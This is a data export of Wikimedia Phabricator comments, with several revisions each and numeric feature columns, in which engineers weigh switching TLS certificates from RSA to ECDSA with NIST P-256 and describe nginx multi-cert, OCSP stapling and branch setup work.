",,,1435461345,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5806451612903225,0.9032258064516129,"Also, after writing all of the above, I feel it's important to reference xkcd's wisdom on this topic as well as a counterpoint: URL :)
"
483102,Switch to ECDSA hybrid certificates,">>! In T86654#1407738, @JanZerebecki wrote:
>>>! In T86654#1405484, @BBlack wrote:
>> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.
> 
> Can you qualify ""still very strong""?

No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.

I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.

But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply compromising our systems or breaking into and/or colluding with CAs, etc).

Reading list, mostly from the ECDSA-negative/paranoid view:
http://safecurves.cr.yp.to/
http://blog.cr.yp.to/20140323-ecdsa.html
http://eprint.iacr.org/2013/734.pdf
This entire lengthy thread: https://www.ietf.org/mail-archive/web/tls/current/msg10149.html
Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: http://www.reddit.com/r/netsec/comments/20kaaw/ecdsa_the_digital_signature_algorithm_of_a_better/

Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1678526

The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ http://www.ietf.org/mail-archive/web/tls/current/msg10321.html | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.

> Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?
> 
> More seriously, we are already using NIST P-256  for ECDHE:
> $ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
> <<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
>     0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
> The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.

Yeah, that's the nginx default we're using there, for the config parameter: [[ http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_ecdh_curve | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?",,,1435461568,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.8571428571428571,0.2857142857142857,0.14285714285714285,0.2857142857142857,1.2857142857142858,6.857142857142857,1.1428571428571428,0.0,0.2857142857142857,0.14285714285714285,2.142857142857143,2.857142857142857,0.0,0.2857142857142857,0.14285714285714285,5.142857142857143,0.14285714285714285,7.714285714285714,10.428571428571429,0.2857142857142857,1.1428571428571428,0.0,0.0,0.0,0.42857142857142855,0.14285714285714285,0.14285714285714285,0.2857142857142857,1.0,0.2857142857142857,0.14285714285714285,5.428571428571429,1.4285714285714286,0.2857142857142857,0.42857142857142855,0.0,0.0,0.2857142857142857,0.14285714285714285,0.0,0.0,0.2857142857142857,0.2857142857142857,1.7142857142857142,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.2857142857142857,14.142857142857142,0.7142857142857143,1.1428571428571428,0.2857142857142857,1.2857142857142858,0.0,0.0,0.0,0.2857142857142857,0.42857142857142855,0.0,0.7142857142857143,1.7142857142857142,0.0,0.42857142857142855,0.14285714285714285,0.2857142857142857,0.0,4.285714285714286,2.4285714285714284,12.857142857142858,1.2857142857142858,1.8571428571428572,7.142857142857143,0.0,0.0,0.14285714285714285,0.0,3.7142857142857144,0.14285714285714285,0.7142857142857143,0.0,5.714285714285714,10.428571428571429,6.714285714285714,0.5714285714285714,0.42857142857142855,0.0,5.714285714285714,0.0,1.7142857142857142,1.7142857142857142,0.42857142857142855,2.4285714285714284,0.42857142857142855,0.14285714285714285,0.7142857142857143,3.8275343642611683,0.7330633284241532,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.

I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.

But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply compromising our systems or breaking into and/or colluding with CAs, etc).

Reading list, mostly from the ECDSA-negative/paranoid view:
URL
URL
URL
This entire lengthy thread: URL
Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: URL

Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: URL

The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ URL | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, that's the nginx default we're using there, for the config parameter: [[ URL | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?"
483099,Switch to ECDSA hybrid certificates,">>! In T86654#1407738, @JanZerebecki wrote:
>>>! In T86654#1405484, @BBlack wrote:
>> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.
> 
> Can you qualify ""still very strong""?

No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.

I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.

But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply compromising our systems or breaking into and/or colluding with CAs, etc).

Reading list, mostly from the ECDSA-negative/paranoid view:
http://safecurves.cr.yp.to/
http://blog.cr.yp.to/20140323-ecdsa.html
http://eprint.iacr.org/2013/734.pdf
This entire lengthy thread: https://www.ietf.org/mail-archive/web/tls/current/msg10149.html
Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: http://www.reddit.com/r/netsec/comments/20kaaw/ecdsa_the_digital_signature_algorithm_of_a_better/

Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1678526

The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ http://www.ietf.org/mail-archive/web/tls/current/msg10321.html | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.

> Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?
> 
> More seriously, we are already using NIST P-256  for ECDHE:
> $ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
> <<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
>     0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
> The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.

Yeah, that's the nginx default we're using there, for the config parameter: [[ http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_ecdh_curve | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?",,,1435461072,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.8571428571428571,0.2857142857142857,0.14285714285714285,0.2857142857142857,1.2857142857142858,6.857142857142857,1.1428571428571428,0.0,0.2857142857142857,0.14285714285714285,2.142857142857143,2.857142857142857,0.0,0.2857142857142857,0.14285714285714285,5.142857142857143,0.14285714285714285,7.714285714285714,10.571428571428571,0.2857142857142857,1.1428571428571428,0.0,0.0,0.0,0.42857142857142855,0.14285714285714285,0.14285714285714285,0.2857142857142857,1.0,0.2857142857142857,0.14285714285714285,5.428571428571429,1.4285714285714286,0.2857142857142857,0.42857142857142855,0.0,0.0,0.2857142857142857,0.14285714285714285,0.0,0.0,0.2857142857142857,0.2857142857142857,1.7142857142857142,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.2857142857142857,14.142857142857142,0.7142857142857143,1.1428571428571428,0.2857142857142857,1.2857142857142858,0.0,0.0,0.0,0.2857142857142857,0.42857142857142855,0.0,0.7142857142857143,1.7142857142857142,0.0,0.42857142857142855,0.14285714285714285,0.2857142857142857,0.0,4.285714285714286,2.4285714285714284,12.857142857142858,1.2857142857142858,1.8571428571428572,7.142857142857143,0.0,0.0,0.14285714285714285,0.0,3.7142857142857144,0.14285714285714285,0.7142857142857143,0.0,5.714285714285714,10.571428571428571,6.714285714285714,0.5714285714285714,0.42857142857142855,0.0,5.714285714285714,0.0,1.7142857142857142,1.7142857142857142,0.42857142857142855,2.4285714285714284,0.42857142857142855,0.14285714285714285,0.7142857142857143,3.8247422680412373,0.731958762886598,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.

I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.

But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply compromising our systems or breaking into and/or colluding with CAs, etc).

Reading list, mostly from the ECDSA-negative/paranoid view:
URL
URL
URL
This entire lengthy thread: URL
Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: URL

Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: URL

The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ URL | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, that's the nginx default we're using there, for the config parameter: [[ URL | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?"
483060,Switch to ECDSA hybrid certificates,">>! In T86654#1405484, @BBlack wrote:
> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.

Can you qualify ""still very strong""? I have not actually tried to find out but it might be that the known problems ( https://www.hyperelliptic.org/tanja/vortraege/20130531.pdf ) in combination with a lacking implementation are enough to make it weaker than 2k RSA?

Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?

More seriously, we are already using NIST P-256  for ECDHE:
$ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
<<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
    0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.
",,,1435448833,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.5,0.5,0.5,2.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,6.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,1.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,13.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,3.5,10.5,0.5,0.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,12.5,0.0,3.0,6.5,7.0,1.5,1.0,0.0,3.0,0.0,1.0,1.0,0.0,1.5,1.5,0.0,3.0,3.7034817351598175,0.8346651445966515,"QUOTE
QUOTE

Can you qualify ""still very strong""? I have not actually tried to find out but it might be that the known problems ( URL ) in combination with a lacking implementation are enough to make it weaker than 2k RSA?

Maybe we should wait for browsers to enable using a curve that is more bad ass ( URL )?

More seriously, we are already using NIST P-256  for ECDHE:
$ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
<<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
    0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
The curve is identified by 0x0017 which is 23, see URL for the mapping.
"
482692,Switch to ECDSA hybrid certificates,"pinkunicorn is now running the proposed setup:
 - openssl 1.0.2c
 - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
 - ECDSA-preferred ciphersuite changes from https://gerrit.wikimedia.org/r/#/c/220377/
 - dual ECC+RSA unified certs from GlobalSign (no separate SNI certs)
 - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.

Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).

You can test the SSL-level stuff by pointing a browser at https://pinkunicorn.wikimedia.org/ , or see ssllabs results @ https://www.ssllabs.com/ssltest/analyze.html?d=pinkunicorn.wikimedia.org&hideResults=on
",,,1435349493,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,0.0,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,4.666666666666667,11.0,0.0,2.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,16.333333333333332,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,7.666666666666667,1.6666666666666667,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.666666666666667,0.0,0.0,0.3333333333333333,4.0,0.0,0.6666666666666666,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,3.8545252999478348,0.7628455920709442,"pinkunicorn is now running the proposed setup:
 - openssl 1.0.2c
 - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
 - ECDSA-preferred ciphersuite changes from URL
 - dual ECC+RSA unified certs from GlobalSign (no separate SNI certs)
 - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.

Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).

You can test the SSL-level stuff by pointing a browser at URL , or see ssllabs results @ URL
"
482687,Switch to ECDSA hybrid certificates,"pinkunicorn is now running the proposed setup:
 - openssl 1.0.2c
 - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
 - ECDSA-preferred ciphersuite changes from https://gerrit.wikimedia.org/r/#/c/220377/
 - dual ECC+RSA certs from GlobalSign
 - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.

Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).

You can test the SSL-level stuff by pointing a browser at https://pinkunicorn.wikimedia.org/ , or see ssllabs results @ https://www.ssllabs.com/ssltest/analyze.html?d=pinkunicorn.wikimedia.org&hideResults=on
",,,1435349182,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,0.0,0.0,0.6666666666666666,6.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,4.666666666666667,11.333333333333334,0.0,2.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,16.333333333333332,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.3333333333333333,7.333333333333333,1.6666666666666667,1.0,5.666666666666667,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6666666666666665,11.333333333333334,4.666666666666667,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.6666666666666666,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,3.8541752933057283,0.7599723947550036,"pinkunicorn is now running the proposed setup:
 - openssl 1.0.2c
 - nginx rebuilt against openssl 1.0.2c, with multi-cert patches, from branch above
 - ECDSA-preferred ciphersuite changes from URL
 - dual ECC+RSA certs from GlobalSign
 - dual-cert ocsp stapling, regenerated once an hour from a hacky cronjob to keep it up to date, since our current stapling code doesn't understand how to do it.

Because the underlying host has had puppet disabled for a while, it's missing some other recent stuff like our latest HSTS max-age bump, so ignore that.  I have yet to validate how the stapling issues work out, that's TBD over the next few days (sadly, I haven't found any direct debug info in FF/Chrome to see whether they liked our stapling or (in the FF case anyways) fell back to remote OCSP fetches, will probably just have to sniff for the remote OCSP fetches).

You can test the SSL-level stuff by pointing a browser at URL , or see ssllabs results @ URL
"
482654,Switch to ECDSA hybrid certificates,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:

- The `master` branch was force-push overwritten to exactly track debian's master branch from `git://anonscm.debian.org/collab-maint/nginx.git`, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
- Created a new branch `wmf-1.9.2-1` which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
- Deleted the previous branches `wmf` and `wmf-192fix`, which were based on the previous malformed master and applies our patchwork in the wrong order.

TL;DR - branch to follow for current local work is: https://git.wikimedia.org/log/operations%2Fsoftware%2Fnginx.git/refs%2Fheads%2Fwmf-1.9.2-1",,,1435345552,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,0.0,0.5,0.5,8.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,2.5,0.0,3.0,9.5,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,1.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,22.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,4.0,2.5,7.0,1.0,4.5,8.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.0,9.5,2.5,0.0,0.0,0.0,3.0,0.0,2.0,0.5,0.0,1.5,0.0,0.0,1.0,4.033333333333333,0.7055555555555555,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:

- The CODE branch was force-push overwritten to exactly track debian's master branch from CODE, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
- Created a new branch CODE which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
- Deleted the previous branches CODE and CODE, which were based on the previous malformed master and applies our patchwork in the wrong order.

TL;DR - branch to follow for current local work is: URL"
482653,Switch to ECDSA hybrid certificates,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:

- The `master` branch was force-push overwritten to exactly track debian's master branch from `git://anonscm.debian.org/collab-maint/nginx.git`, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
- Created a new branch `wmf-1.9.2-1` which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When if upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
- Deleted the previous branches `wmf` and `wmf-192fix`, which were based on the previous malformed master and applies our patchwork in the wrong order.

TL;DR - branch to follow for current local work is: https://git.wikimedia.org/log/operations%2Fsoftware%2Fnginx.git/refs%2Fheads%2Fwmf-1.9.2-1",,,1435345509,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,0.0,0.5,0.5,8.0,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,2.5,0.0,3.0,10.0,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,1.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,22.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,4.0,2.5,7.0,1.5,4.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.0,10.0,2.5,0.0,0.0,0.0,3.0,0.0,2.0,0.5,0.0,1.5,0.0,0.0,1.0,4.022344322344322,0.7073260073260073,"FYI: I did some force-pushing and branch-deleting to fix up previously-malformed branches in the operations/software/nginx repo:

- The CODE branch was force-push overwritten to exactly track debian's master branch from CODE, and the intent is that it will always track that branch with ff-only merges and not contain any local commits.
- Created a new branch CODE which branches from the 1.9.2-1 release commit in master, and is solely for creating our 1.9.2-1+wmfN releases for stapling and multi-cert stuff.  When if upstream (debian) makes new releases, we'll do new branches like this for our +wmfN releases and port over whatever patches need porting, etc.
- Deleted the previous branches CODE and CODE, which were based on the previous malformed master and applies our patchwork in the wrong order.

TL;DR - branch to follow for current local work is: URL"
482592,Switch to ECDSA hybrid certificates,"So, to answer some of the above and recap where IRC conversations about this have gone lately:

- Yes, we're limited by TLS protocol support and browsers to only the NIST curves right now.  I think for major browser support over TLS, we're limited to the NIST 256 and 384 -bit curves.  GlobalSign (the CA we'd be using to issue) supports NIST 256, 384, and 512: https://support.globalsign.com/customer/portal/articles/1994347-ecc
- We've acquired a live ECC key from GlobalSign already for our unified wildcard production cert, using the NIST 256 curve (`prime256v1` in `openssl ecparam` terms) in order to do some testing outside of production, but have not yet deployed that to production.  In rough terms, this is equivalent to a 3K RSA key, so it's better than the 2048 RSA's we have, at least on that one level of thinking about such things.
